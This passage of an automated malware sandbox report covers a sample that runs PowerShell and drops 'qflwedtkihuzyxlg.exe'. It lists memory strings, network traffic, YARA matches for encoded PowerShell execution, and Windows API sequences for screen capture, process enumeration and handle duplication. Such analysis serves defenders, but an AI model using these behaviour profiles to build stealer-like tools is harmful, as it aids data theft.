Source: powershell.exe, 00000005.00000002.2227145287.000001AA63A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micom/pki/certs/Miut_2010-06-23.cr
Source: powershell.exe, 00000009.00000002.2428854382.00000220FA8F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micom/pkiops/Docs/ry.htm0
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000005.00000002.2205086606.000001AA4B6E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2368510448.0000022080001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: qflwedtkihuzyxlg.exe, 0000000E.00000002.2835428358.000001FB10D28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: qflwedtkihuzyxlg.exe, 0000000E.00000002.2835428358.000001FB10D28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/8v
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: powershell.exe, 00000009.00000002.2414199760.000002209006D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.2414199760.000002209006D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.2414199760.000002209006D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: qflwedtkihuzyxlg.exe.0.dr	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: powershell.exe, 00000009.00000002.2368510448.0000022080227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 00000005.00000002.2221407009.000001AA5B74D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2414199760.000002209006D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2672224888.000001FB12E3F000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2673411537.000001FB139F3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2677279611.000001FB13FEE000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A92000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A45000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A9A000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2673160053.000001FB12C88000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672224888.000001FB12E47000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2673160053.000001FB12C80000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672643678.000001FB12CC8000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A3D000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672643678.000001FB12CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680939696.000001FB1399B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: OceanicTools.exe	String found in binary or memory: https://www.haskell.org/ghc/reportabug
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2672224888.000001FB12E3F000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2673411537.000001FB139F3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2677279611.000001FB13FEE000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A92000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A45000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A9A000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2673160053.000001FB12C88000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672224888.000001FB12E47000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2673160053.000001FB12C80000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672643678.000001FB12CC8000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A3D000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672643678.000001FB12CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2677279611.000001FB13FF5000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13AA1000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672643678.000001FB12CCF000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672224888.000001FB12E4F000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2677279611.000001FB13FF5000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13AA1000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672643678.000001FB12CCF000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672224888.000001FB12E4F000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2677279611.000001FB13FF5000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13AA1000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672643678.000001FB12CCF000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2672224888.000001FB12E4F000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2671528726.000001FB13A4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49963 version: TLS 1.2

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_000000014007D6E0 GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetDC,GetDeviceCaps,GetDeviceCaps,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SHCreateMemStream,SelectObject,DeleteDC,ReleaseDC,DeleteObject,EnterCriticalSection,LeaveCriticalSection,IStream_Size,IStream_Reset,IStream_Read,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

14_2_000000014007D6E0

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 7128, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6696, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350D46A4 CreateToolhelp32Snapshot,Process32First,Process32Next,NtClose,	11_2_00007FF6350D46A4
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350D3C70 GetCurrentProcess,NtQueryInformationProcess,GetTempPathW,wcslen,wcslen,strlen,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,wcslen,LdrLoadDll,GetProcAddress,VirtualProtect,LdrUnloadDll,	11_2_00007FF6350D3C70
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350D3060 GetCurrentProcess,NtQueryInformationProcess,GetTempPathA,strlen,strlen,memcpy,	11_2_00007FF6350D3060
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140082030 RtlAcquirePebLock,NtAllocateVirtualMemory,lstrcpyW,lstrcatW,NtAllocateVirtualMemory,lstrcpyW,RtlInitUnicodeString,RtlInitUnicodeString,LdrEnumerateLoadedModules,RtlReleasePebLock,CoInitializeEx,lstrcpyW,lstrcatW,CoGetObject,lstrcpyW,lstrcatW,CoGetObject,CoUninitialize,	14_2_0000000140082030
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400D06C0 NtQueryObject,	14_2_00000001400D06C0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400D06D8 NtQuerySystemInformation,	14_2_00000001400D06D8
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400D06E8 NtAllocateVirtualMemory,	14_2_00000001400D06E8
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400818F0 GetModuleHandleA,GetProcAddress,OpenProcess,NtQuerySystemInformation,NtQuerySystemInformation,NtDuplicateObject,GetCurrentProcess,NtDuplicateObject,NtQueryObject,GetFinalPathNameByHandleA,CloseHandle,CloseHandle,	14_2_00000001400818F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848FE42BF	5_2_00007FF848FE42BF
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350D3C70	11_2_00007FF6350D3C70
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350D34D0	11_2_00007FF6350D34D0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350D6A40	11_2_00007FF6350D6A40
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350D7290	11_2_00007FF6350D7290
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350EDA84	11_2_00007FF6350EDA84
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350E5B20	11_2_00007FF6350E5B20
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350F5140	11_2_00007FF6350F5140
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6351CC950	11_2_00007FF6351CC950
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6351B7220	11_2_00007FF6351B7220
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350EC4A0	11_2_00007FF6350EC4A0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350F64F0	11_2_00007FF6350F64F0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 11_2_00007FF6350ED367	11_2_00007FF6350ED367
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014008A06A	14_2_000000014008A06A
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014005F140	14_2_000000014005F140
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400421C0	14_2_00000001400421C0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014007F210	14_2_000000014007F210
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014008426B	14_2_000000014008426B
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400743A0	14_2_00000001400743A0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014007E3D0	14_2_000000014007E3D0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014002F650	14_2_000000014002F650
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140086680	14_2_0000000140086680
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014007D6E0	14_2_000000014007D6E0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014003B740	14_2_000000014003B740
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014003C7E0	14_2_000000014003C7E0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400B67F0	14_2_00000001400B67F0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140094B74	14_2_0000000140094B74
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140076BA0	14_2_0000000140076BA0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014007FBA0	14_2_000000014007FBA0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014003ABE0	14_2_000000014003ABE0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014009ACF0	14_2_000000014009ACF0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140084CF0	14_2_0000000140084CF0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014007CDF0	14_2_000000014007CDF0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014003CE80	14_2_000000014003CE80
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014002EF60	14_2_000000014002EF60
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014009DFA0	14_2_000000014009DFA0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006E000	14_2_000000014006E000
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014004E000	14_2_000000014004E000
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140082030	14_2_0000000140082030
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400A7038	14_2_00000001400A7038
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140036050	14_2_0000000140036050
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006B0A0	14_2_000000014006B0A0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140092094	14_2_0000000140092094
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014007E0B0	14_2_000000014007E0B0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400300C6	14_2_00000001400300C6
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006A100	14_2_000000014006A100
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014003A110	14_2_000000014003A110
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140006180	14_2_0000000140006180
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140028200	14_2_0000000140028200
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014009E21C	14_2_000000014009E21C
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140055250	14_2_0000000140055250
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014009227C	14_2_000000014009227C
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400B92E0	14_2_00000001400B92E0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400532E0	14_2_00000001400532E0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400A22D8	14_2_00000001400A22D8
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140096300	14_2_0000000140096300
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140056340	14_2_0000000140056340
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140026340	14_2_0000000140026340
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140093344	14_2_0000000140093344
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140025350	14_2_0000000140025350
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140082380	14_2_0000000140082380
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014008E38C	14_2_000000014008E38C
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006A400	14_2_000000014006A400
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400A5464	14_2_00000001400A5464
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140092464	14_2_0000000140092464
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014009C498	14_2_000000014009C498
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006E49A	14_2_000000014006E49A
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014004C500	14_2_000000014004C500
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140062510	14_2_0000000140062510
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400705A0	14_2_00000001400705A0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_0000000140006610	14_2_0000000140006610
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_00000001400596B0	14_2_00000001400596B0
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Code function: 14_2_000000014006A730	14_2_000000014006A730
